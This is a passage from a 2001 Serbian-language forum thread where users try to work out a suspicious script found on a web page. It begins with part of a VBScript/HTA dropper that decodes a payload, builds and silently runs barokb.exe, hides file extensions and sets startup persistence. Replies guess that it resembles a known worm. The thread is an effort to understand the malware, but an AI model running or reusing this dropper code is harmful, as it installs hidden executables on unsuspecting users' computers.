""0cb^E4<<D014EF1@19cbD^TABE1C15@9c@b^T5\0EC855<<c@b^T5\0EEC51Bcb"" & vbNewline & ""D^TAGEC?31;cbD^T10D0<_EQT<EYRbEQbi1100E7UdE@b_ES1TETbU5cc0D05h"" & vbNewline & ""EYd@Eb_SEUcc0000EBUWE?`UE^;U5i10@00BEQc5E^e]E5^dEbYU5c10@00CEXUE5h"" & vbNewline & ""EUSeEdU10000ECUdEDY]5Ub000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""000000000000000000000000000000000000000000000000000000~"" & vbNewline & ""<end>"" & vbNewline" & Chr(13) & Chr(10) & "serverGOD.close" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c debug < 2ascii.bin > nul"",0,True" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c move /y barokb.exe %windir%barokb.exe"",0,True" & Chr(13) & Chr(10) & "strDir = WSHShell.ExpandEnvironmentStrings(""%windir%"")" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c start %windir%barokb.exe"",0,False" & Chr(13) & Chr(10) & "fso.DeleteFile ""2ascii.bin"", True" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "WSHShell.RegWrite ""HKEY_CLASSES_ROOThtafileNeverShowExt"",""""" & Chr(13) & Chr(10) & "WSHShell.RegWrite ""HKEY_CLASSES_ROOThtafileDefaultIcon"",""SHELL32.DLL,36""" & Chr(13) & Chr(10) & "AllDir = WSHShell.RegRead(""HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionexplorerShell FoldersCommon Startup"")" & Chr(13) & Chr(10) & "set a = fso.GetFolder(AllDir)" & Chr(13) & Chr(10) & "kidarcade = UCase(a.ShortPath & ""fik.hta"")" & Chr(13) & Chr(10) & "set Wininit=fso.CreateTextFile(""""& strDir &""Wininit.ini"")" & Chr(13) & Chr(10) & "Wininit.WriteLine(""[rename]"" & vbNewline & ""NUL="" & kidarcade)" & Chr(13) & Chr(10) & "regSru = Chr(34) & strDir & ""barokb.exe"" & Chr(34)" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c pause"",0,True" & Chr(13) & Chr(10) & "<" & Chr(47) & "SCRIPT><BODY onload=""javascript: window.close()""><" & Chr(47) & "BODY>"
</SCRIPT></BODY>
Re: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!! 13.07.2001. u 02:04 · pre 308 meseci #4
Bacio sam pogled ali me je zabolela glava na pola...
Ono sto sam provalio je da je prvi deo koda JavaScript koji vrsi neke provere na klijentu.
Drugi deo koda je VBScript koji bi trebalo da pravi neki fajl (2ascii.bin) i u njega smesti sav ovaj shit koji nikako ne bih mogao da protumacim.
E, sad, jedino me buni sledeca stvar: On u ovom VBScript kodu poziva File System Object da bi napravio taj fajl, sto znam da je OK kada skripta radi na serveru ali ovo je prvi put da vidim da neko pokusava da koristi FSO na klijentu, sto je, koliko ja kapiram, nemoguce. Da li mu je uspelo, nemam pojma, ali da proveravam necu jer nemam pojma sta radi ovaj 2ascii.bin fajl... a i smara me :)
Potpis
http://www.rodpetrovic.com
http://lista.rodpetrovic.com
Re: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!! 13.07.2001. u 02:15 · pre 308 meseci #5
...pogledao sam jos malo. Cenim da ovo nije ceo kod.
Ali, ako imate neka pitanja, pa pitajte samog autora ovog skripta - [email protected] - to sam iscupao iz koda.
Potpis
http://www.rodpetrovic.com
http://lista.rodpetrovic.com
Re: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!! 16.07.2001. u 00:05 · pre 307 meseci #7
Nisam čitao kod, ali sam zapazio u njemu naziv fajla sa nastavkom .hta. Neki trojanac (Hybris.Worm čini mi se) na ovaj način kreira u StartUp folderu fajl sa nastavkom .hta, koji se aktivira pri sljedećem paljenju računara.
Potpis
"I'd take the awe of understanding over the awe of ignorance any day."
- Douglas Adams
Prijavite se da biste odgovorili u ovoj temi.PrijavaRegistracija

Premeštanje teme